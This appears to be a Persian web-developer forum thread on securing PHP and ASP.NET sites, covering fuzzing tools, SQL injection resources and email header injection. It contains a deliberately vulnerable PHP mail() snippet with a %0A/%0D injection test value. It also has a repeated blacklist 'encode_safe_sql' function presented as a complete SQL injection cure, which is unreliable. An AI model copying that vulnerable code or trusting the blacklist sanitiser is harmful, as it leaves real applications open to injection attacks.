نمومه استفاده از یک Certificate برای اعتبار سنجی کاربر.

oxygenws
چهارشنبه 18 مرداد 1385, 09:50 صبح
بعد از مدت ها دارم دوباره مطالب ات رو از ابتدا می خونم :)
مسلما ممنون میشم اگر مورد جدیدی به تور ات خورده ما رو هم در جریان بذاری.

ضمنا، یک جا نوشتی که:

تابع htmlspecialchars ئر مواردی که می خوای از نام کاربری فارسی یا از یونیکد استفاده کنی برات مشکل درست می کنه
من ترجیح میدم با تعریف یک تابع که از توابعی مثل str_replace یا ereg_replace استفاده می کنه ورودی های خطرناک رو فیلتر کنم. :موفق:
فقط یه توضیح تکمیلی برای خوانندگان بدم که....
تابع htmlspecialchars پارامتر سومی داره که کاراکتر ست رو می گیره. برای ما ایرانی جماعت که عموما با utf-8 کار می کنیم، میشه اون رو روی "UTF-8" ست کرد.

houtanal
چهارشنبه 05 مهر 1385, 01:35 صبح
یک سری ابزارهایی هستند که تا حد امکان امنیت نرم افزار شما رو تست میکنند.این مسئله که الزاما ً جواب های درستی نخواهید گرفت (Flase Positive) چیز واضحیست.اما در هر صورت استفاده از نرم افزارهایی از این دست که اصطلاحا ً Fuzzer نامیده میشوند میتونه در مواقعی بسیار مفید باشه.
چند تایی رو صرفا ً معرفی میکنم.

Paros Proxy
یکی از بهترین fuzzer های رایگان و سورس باز به زبان جاوا برای برنامه های وبی که البته سایتش فیلتر شده!احتمالا ً تو sourcefoge.net میتونید دانلودش کنید.

OWASP WebScarab Project
ایضا ً نوشته شده با جاوا ، سورس باز و صد البته مناسب.http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
(توصیه میکنم تو سایتش یه چرخی بزنید)

Watchfire® AppScan®
یکی از نرم افزارهای بسیار گران قیمت و مسلما ً قابل تامل.http://www.watchfire.com/products/appscan/default.aspx
(مقالات جالبی هم در سایتش پیدا میشه)

Burp suite
نرم افزار بسیار جالبی که البته مثل paros امکانات تست خودکار برنامه وبی رو نداره اما به هر حال نرم افزار جالبیه.
http://portswigger.net/suite/

تعداد انبوهی نرم افزار از این دست در وب پیدا میکنید.من تنها قصد دارم ایده کلی این گونه ابزارها رو منتقل کنم.به هر حال شخصا ً عموما ً چک کردن هدف رو به صورت دستی ترجیح میدم.

houtanal
دوشنبه 01 آبان 1385, 11:52 صبح
Web Security Coding Tips


http://futureboy.homeip.net/security/

houtanal
دوشنبه 01 آبان 1385, 12:04 عصر
http://www.securityfocus.com/infocus/1879

Folaani
یک شنبه 27 آبان 1386, 18:59 عصر
یک مسئلهء دیگه که اینجا مطرح نشده Header Injection هست.
خیلی افراد از این نوع اطلاع ندارن؛ چیزهایی مثل SQL Injection خیلی معروف و شناخته شده هستن، اما این یکی چون کمتر پیش میاد و زیاد سر و صدایی نمیکنه خیلی ها ازش اطلاع ندارن.
این نوع حمله در پی اچ پی (البته لزوما ربطی به زبان خاصی نداره و در هر زبان دیگری هم میتونه پیش بیاد) اغلب در صفحاتی مثل Contact و یا هر صفحه ای که بهرحال اطلاعاتی رو از کاربر گرفته و ایمیل میکنه پیش میاد. اما نه در همهء این صفحات. مشکل وقتی ممکنه پیش بیاد که از پارامتر هدرهای اضافی تابع mail بطور مثال (هر تابع دیگری هم میتونه باشه!)، برای ارسال هدری که وابستگی به مقدار پر شده توسط کاربر داره استفاده میکنیم.
بطور مثال وقتی فرم شما یک قسمت برای پر کردن آدرس ایمیل فرستنده داره و شما این آدرس رو در هدر From ایمیل قرار میدید، تا بطور مثال در نرم افزارهای میل کلاینت (وبی و غیروبی) بطور خودکار اون آدرس بتونه برای Reply انتخاب بشه.
در این حالت شما اگر از این نوع حمله که بسیار ساده و بدون هیچ ابزار و دستکاری خاصی هم میتونه انجام بشه اطلاع نداشته باشید، فرم ایمیل شما میتونه توسط سوء استفاده کننده برای ارسال ایمیل به آدرس یا آدرسهای دلخواهش استفاده بشه. توجه کنید که این ایمیلها از سایت و آدرس شما برای شخص ثالث فرستاده میشه!
تازه فرستادن یک ایمیل متنی، کمترین حالت سوء استفاده از این فرمها هست که امکانش صددرصد و بسیار راحته.

یک نمونه از چنین کدی رو براتون میذارم:


mail(
$info_emails['admin'],
$_POST['subject'],
$_POST['message'],
//Additional headers parameter
(
($_POST['from'])?
"From: Contact form <{$_POST['from']}>":
'From: Contact form <admin@example.com>'
).
"\r\nCc: {$info_emails['cpanel']}, {$info_emails['yahoo']}\r\nContent-type: text/plain; charset=utf8",
//Additional headers parameter
"-f{$info_emails['return']}"
)

در اینجا $_POST['from'] نقطهء آسیب پذیر/ورودی کاربر هست.
چون دیگه وقت ندارم فورا راه حل رو قرار میدم:

if($_POST['from'] and (strpos(urldecode($_POST['from']), "\n")!==false or strpos(urldecode($_POST['from']), "\r")!==false))
exit('<center><h3 style="color: red">Header injection attempt detected!<br />Your message is not sent.</h3></center>');
باید این کد رو قبل از اون کد قبلی قرار بدید تا درصورت شناسایی این حمله، برنامه با پیغام مناسب (بری دماغ سوختگی طرف!! البته شوخی میکنم.) خارج بشه.

----------------

راستی برای تست کار کردن این کد، در فیلد مورد نظر (From) توالی کاراکترهای %0A و/یا %0D رو همراه هر اطلاعات دلخواه دیگری وارد کنید؛ برنامه باید حمله رو شناسایی کنه.
البته اگر درست یادم باشه و کاراکترهای مورد استفاده در حمله رو درست ذکر کرده باشم (توجه کنید که کد شناسایی حمله صحیحه، ولی کاراکترها به احتمال زیاد درستن).

mehrdad201
شنبه 01 دی 1386, 20:21 عصر
دوست عزیز یه مقدار در مورد سوء استفاده از $_POST['from'] بیشتر توضیح میدید!!

خیلی برام مهمه. به نظر شما ما اگه اول بیایم مقدار $_POST['from'] رو داخل یه متغیر بریزیم و بعد مقدار متغیر رو چک کنیم آیا میتونه مفید باشه ؟؟؟؟؟؟؟
لطفا در این مورد ایمیل من رو راهنمایی کنید

mehrdad201
شنبه 01 دی 1386, 20:33 عصر
راستی در مورد sqlinjection هم من یه جایی خوندم که تو asp.net با استفاده از پارامترها مشکل injection حل شده.

من خودم هم تست کردم و دیدم که وقتی یه مقدار که توش ' به کار رفته رو میدید اصلا مشکلی به وجود نمیاد.
البته من در این زمینه حرفه ای نیستم. خواهش می کنم دوستانی که حرفه ای تر هستند در این مورد نظرات خودشون رو بیان کنند.

mermaid
یک شنبه 07 بهمن 1386, 11:53 صبح
ا.... پس چرا تموم شد؟!

آقای صاحب تاپیک چرا بحث رو ادامه نمی دی؟! راستش من یه ایده واقعا معرکه دارم که بدبختانه مجبورم خودم پیاده اش کنم :D البته با PHP خیلی راحتم و احتمالا زبان برگزیده همینه! ولی یک... نه، چند تا سوال دارم:

من C# هم بلدم (البته کمی تا نیمه ابری) ولی چون خون Open Source تو رگهام می جوشه و در ضمن، با انتخاب این زبان درصد بدبختیم بالا میره ، (سوال اینه:) به نظر شما با کدوم یکی امنیت رو بیشتر میشه حفظ کرد C# or PHP ?


راستی چطوری میشه کدهای PHP رو کامپایل کرد؟! و اینکه آیا کامپایل کردنش میتونه جلوی بعضی از نفوذ ها رو بگیره؟! اصلا چرا کامپایلش می کنن؟!


یه سوال دیگه : فایل های فلش که روی سایت استفاده میشه و قراره اطلاعاتی رو به سرور ارسال کنه قابل هک کردن هست؟! (می دونم هست :D) چه طوری میشه از هک شدنشون جلوگیری کرد؟!

houtanal
دوشنبه 03 تیر 1387, 09:58 صبح
http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners

farzad_vb62
سه شنبه 29 مرداد 1387, 20:57 عصر
آيا تابعي براي فيلتر سازي وروديها و حذف کدهاي مخرب وجود نداره؟!!!

webcar jaded
یک شنبه 05 آبان 1387, 07:16 صبح
با سلام
لطفا یکی هر چه سریعتر بهم کمک کنه .من تازه کارم .میخوام که یک جدول با بک رکود و3 فیلد در my sql بسازم .و توی phpآن رو در قسمت log in به کار ببرم .ضمنا نحوی ارتباطشون رو هم نمی دونم ؟لطفا با توضیح مفصل برایم بفرستید تا من سر در بیاورم

kianooshjon
شنبه 05 بهمن 1387, 21:26 عصر
با این نفاسیر شما من فکر کنم که asp.net و c# از php ایمن تر باشه 1.بخاطر اینکه امکان دسترسی به فولدرهای دیگه به غیر از فولدر مسیر جاری به سادگی نمیشه 2.بحث sql enjection کاملا منحله و کاربردی ندارد.3.sessoin سمت کاربر بصورت خودکار encrypt میشه 4.....

sinsin666
دوشنبه 14 اردیبهشت 1388, 12:06 عصر
دوست عزیز منظور از این کار چی هست....
لطف کنین صریح بیان کنین......

به نظر بودار میاد......:متفکر:

Nima NT
دوشنبه 14 اردیبهشت 1388, 12:58 عصر
به این کار میگن تبلیغات بدون در نظر گرفتن حقوق دیگران , چند روز صبر کنی مدیر دخلشو میاره :لبخند:

محمدامین شریفی
سه شنبه 26 خرداد 1388, 23:50 عصر
گوگل برای جلوگیری از فعالیت spider هایی که باعث شلوغ شدن سرور هایش می شود و جلوگیری از مشکلاتی این چنینی (http://blogs.zdnet.com/security/?p=3613) راهکارهایی را در نظر گرفته است.اصولا برنام نویسانی که مشغول به طراحی وب هستند،باید چه تمهیداتی را جهت جلوگیری از این حملات مخرب،در نظر گیرند؟

joker
شنبه 03 مرداد 1388, 21:31 عصر
به نقل از :http://www.developercenter.ir/forum/showthread.php?t=18325
نمیدونم قبلا توی این بخش یا بخش دات نت ارائه شده یا نه ، در هر حال

دانلود کتاب نکته های امنیتی در صفحات ASP.NET


http://dl.parsbook.org/server1/archive/09194150532.gif

نام کتاب : نکته های امنیتی در Asp.Net
نویسنده : هاشم
زبان کتاب : فارسی
قالب کتاب : PDF
حجم فایل : 733 Kb
توضیحات :امروزه استفاده از صفحات Asp.net یکی از مهمترین کارهای برنامه نویسان وب است. ولی این صفحات دارای ضعفهای فراوان میباشند. این کتاب ضعفهای مذکور را در قالب هشت بخش مختلف به برنامه نویسان asp.net گوشزد میکند.


دانلود کتاب (http://dl.parsbook.org/server2/uploads/hack-asp-net-pdf.zip)

nadia2174
چهارشنبه 20 آبان 1388, 19:02 عصر
آموزش روش استفاده از SqlInjection (فارسی)
http://alfa-web.net/EduContent.aspx?EduID=22

m_farshad
پنج شنبه 10 دی 1388, 22:53 عصر
دو تابع زیر میتونه شما رو از شر sql injection راحت کنه



public function encode_safe_sql($str){

$pattern=array("#","\\","'",'"',"<",">"," or "," and ","&"," Delete "," Update "," Insert "," Replace ");
$replace=array("^35^","^92^","^39^","^34^","^60^","^62^","^111114^","^97110100^","^amp;^",
"^100101108101116101^","^11711210097116101^","^105110115101114116^","^1141011121089799101^");
$str=str_ireplace($pattern, $replace, $str);

return $str;
}

public function decode_safe_sql($str){
$find=array("^35^","^92^","^39^","^34^","^60^","^62^","^111114^","^97110100^","^amp;^",
"^100101108101116101^","^11711210097116101^","^105110115101114116^","^1141011121089799101^");
$replace=array("#","\\","'",'"',"<",">"," or "," and ","&"," Delete "," Update "," Insert "," Replace ");
$str=str_replace($find,$replace,$str);

return $str;

}

zoghal
پنج شنبه 10 دی 1388, 22:57 عصر
تابع برای sql inkection زیاد هست. اما تابع قوی برای xss ندیدم تا الان. همشون یک مشکلی داره

__Genius__
چهارشنبه 28 بهمن 1388, 10:28 صبح
سلام ،
یه کتاب هست برای موارد SQL Injection ، کتاب بسیار کاملی هست ، از انتشارات Syngress که معمولاً کتابهای Top در زمینه امنیت زیاد ارائه کرده و میکنه .


http://nsa13.casimages.com/img/2010/02/09//100209122038945136.jpg

Syngress (5-2009) | PDF | 474 pages | 1597494240 | 3.42Mb



SQL Injection Attacks and Defense /by Justin (javascript:void(0);) Clarke (Author).SQL injection represents one of the most dangerous and well-known, yet misunderstood, security vulnerabilities on the Internet, largely because there is no central repository of information to turn to for help. This is the only book devoted exclusively to this long-established but recently growing (javascript:void(0);) threat. It includes all the currently known information about these attacks and significant insight from its contributing team of SQL injection experts.
# What is SQL injection?-Understand what it is and how it works
# Find, confirm, and automate SQL injection discovery
# Discover tips and tricks for finding SQL injection within the code
# Create exploits (javascript:void(0);) using SQL injection
# Design to avoid the dangers of these attacks


اگر کسی احیاناً علاقمند به دانلود بود برای لینک پیغام خصوصی بذاره .

پیوست » کتاب های دیگه ای توی زمینه Web Hacking و بحث Web Security موجود هست که با یک جستجو توی آمازون و موارد مشابه پیدا میشه و به مقدار زیادی حاوی اطلاعات مفید هستن .

Derambakht
چهارشنبه 14 مهر 1389, 18:11 عصر
سلام
میشه سعی کنید این dll رو Refactor نمایید
با تشکر . (فوری)

aliramazani
یک شنبه 23 مرداد 1390, 13:13 عصر
دو تابع زیر میتونه شما رو از شر sql injection راحت کنه



public function encode_safe_sql($str){

$pattern=array("#","\\","'",'"',"<",">"," or "," and ","&"," Delete "," Update "," Insert "," Replace ");
$replace=array("^35^","^92^","^39^","^34^","^60^","^62^","^111114^","^97110100^","^amp;^",
"^100101108101116101^","^11711210097116101^","^105110115101114116^","^1141011121089799101^");
$str=str_ireplace($pattern, $replace, $str);

return $str;
}

public function decode_safe_sql($str){
$find=array("^35^","^92^","^39^","^34^","^60^","^62^","^111114^","^97110100^","^amp;^",
"^100101108101116101^","^11711210097116101^","^105110115101114116^","^1141011121089799101^");
$replace=array("#","\\","'",'"',"<",">"," or "," and ","&"," Delete "," Update "," Insert "," Replace ");
$str=str_replace($find,$replace,$str);

return $str;

}


چطوری و کجا ازش استفاده کنم؟

aliramazani
دوشنبه 24 مرداد 1390, 20:02 عصر
من از این دو تابع چطوری استفاده کنم؟

houtanal
سه شنبه 25 مرداد 1390, 07:05 صبح
برای استفاده از این توابع یا هر چیز مشابه دیگه ای باید عبارتی رو که می خوای فیلتر بشه جای اون str$ بزاری.

aliramazani
سه شنبه 25 مرداد 1390, 17:46 عصر
مثلا یه دستور select را میشه برام مثال بزنید؟

میلاد قاضی پور
چهارشنبه 16 شهریور 1390, 03:56 صبح
من در مورد sql injection , xss کارهایی روی سایتم انجام دادم و تا حد ممکن در این موارد جدی عمل کردم . سایتم asp هست و از session ها استفاده ای نکردم . در مورد حملات RFI, LFI چه کارهایی لازمه انجام بدم ؟ به زبان انگلیسی که منابع کاملی پیدا نکردم و اکثرا برای پی اچ پی بودن .
*برام مهمه که افراد موزی به محتوای فایهای cs سایتم دسترسی نداشته باشن .

amdi68
سه شنبه 04 خرداد 1395, 23:20 عصر
خیلی عالی تشکر بابت توضیحات